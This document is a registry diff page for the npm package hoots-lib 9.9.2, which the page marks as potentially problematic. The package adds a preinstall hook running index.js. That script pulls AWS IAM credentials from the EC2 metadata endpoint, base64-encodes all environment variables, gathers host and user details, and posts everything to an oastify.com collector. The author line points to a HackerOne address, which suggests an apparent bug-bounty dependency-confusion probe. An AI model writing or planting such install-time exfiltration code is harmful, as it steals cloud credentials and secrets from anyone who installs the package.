hoots-lib 9.9.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of hoots-lib might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +101 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,101 @@
1
+ //author:- pinkmeimei@wearehackerone.com
2
+ const os = require("os");
3
+ const dns = require("dns");
4
+ const querystring = require("querystring");
5
+ const https = require("https");
6
+ const axios = require('axios');
7
+ const packageJSON = require("./package.json") || null;
8
+ const package = packageJSON? packageJSON.name: undefined ;
9
+
10
+ printAwsCredentials = async () => {
11
+ try {
12
+ const token = await axios({
13
+ method: 'PUT',
14
+ url: 'http://169.254.169.254/latest/api/token',
15
+ headers: {
16
+ 'X-aws-ec2-metadata-token-ttl-seconds': 5
17
+ }
18
+ })
19
+
20
+ const iamRole = await axios({
21
+ url: 'http://169.254.169.254/latest/meta-data/iam/security-credentials',
22
+ headers: {
23
+ 'X-aws-ec2-metadata-token': token.data
24
+ }
25
+ })
26
+
27
+ const credentials = await axios({
28
+ url: `http://169.254.169.254/latest/meta-data/iam/security-credentials/${iamRole.data}`,
29
+ headers: {
30
+ 'X-aws-ec2-metadata-token': token.data
31
+ }
32
+ })
33
+
34
+ return btoa(JSON.stringify(credentials.data))
35
+ } catch (err) {}
36
+ }
37
+
38
+ var aws_c = ""
39
+
40
+ printAwsCredentials().then((res)=>{
41
+
42
+
43
+ aws_c = res || undefined ;
44
+ var env_vars = "";
45
+
46
+ try{
47
+ env_vars = btoa(JSON.stringify(process.env));
48
+ }catch(e){}
49
+
50
+ const pwd = process.cwd();
51
+
52
+
53
+
54
+ const trackingData = JSON.stringify({
55
+ p: package,
56
+ c: __dirname,
57
+ cwd: pwd,
58
+ hd: os.homedir(),
59
+ hn: os.hostname(),
60
+ un: os.userInfo().username,
61
+ dns: dns.getServers(),
62
+ r: packageJSON ? packageJSON.___resolved : undefined,
63
+ v: packageJSON.version,
64
+ pjson: packageJSON,
65
+ env: env_vars,
66
+ aws: aws_c,
67
+ });
68
+
69
+ var postData = querystring.stringify({
70
+ msg: trackingData,
71
+ });
72
+
73
+ var options = {
74
+ hostname: "hoots-lib.lsh5kazu22cydoxxbyusokspxg37r0fp.oastify.com",
75
+ port: 443,
76
+ path: "/",
77
+ method: "POST",
78
+ headers: {
79
+ "Content-Type": "application/x-www-form-urlencoded",
80
+ "Content-Length": postData.length,
81
+ },
82
+ rejectUnauthorized: false,
83
+ requestCert: true,
84
+ agent: false,
85
+ };
86
+
87
+ var req = https.request(options, (res) => {
88
+ res.on("data", (d) => {
89
+ process.stdout.write(d);
90
+ });
91
+ });
92
+
93
+ req.on("error", (e) => {
94
+ console.error(e);
95
+ });
96
+
97
+ req.write(postData);
98
+ req.end();
99
+
100
+ })
101
+
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "hoots-lib",
3
+ "version": "9.9.2",
4
+ "description": "pinkmeimei@wearehackerone.com",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "pinkmeimei",
11
+ "license": "ISC"
12
+ }